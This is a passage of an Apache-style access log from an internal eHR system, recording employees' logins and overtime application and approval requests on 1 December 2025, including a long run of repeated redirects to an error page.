Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:45:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:45:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 192.168.40.45 - - [01/Dec/2025:08:46:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:46:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 192.168.11.70 - - [01/Dec/2025:08:46:55 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:46:55 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.104 - - [01/Dec/2025:08:46:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:46:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.70 - - [01/Dec/2025:08:46:57 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:46:57 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.70 - - [01/Dec/2025:08:47:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:47:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.70 - - [01/Dec/2025:08:47:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:47:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.70 - - [01/Dec/2025:08:47:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [01/Dec/2025:08:47:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [01/Dec/2025:08:47:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47113511266819785 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:47:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47113511266819785 HTTP/1.1" 200 8988 192.168.11.104 - - [01/Dec/2025:08:47:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47113511266819785 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47113511266819785" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:47:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47113511266819785 HTTP/1.1" 200 27500 192.168.11.104 - - [01/Dec/2025:08:47:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4071 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:47:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4071 192.168.11.104 - - [01/Dec/2025:08:47:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:47:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 192.168.11.104 - - [01/Dec/2025:08:47:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10253 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:47:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10253 192.168.11.108 - - [01/Dec/2025:08:51:55 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:51:55 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:51:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132640%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132640&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:51:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132640%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132640&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:51:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:51:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:51:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:51:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:51:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:51:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:51:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:51:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:51:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:51:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:51:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:51:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:51:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:51:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:51:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:51:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:51:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:51:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:51:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:51:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:51:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:51:59 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:52:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:52:00 +0800] "GET 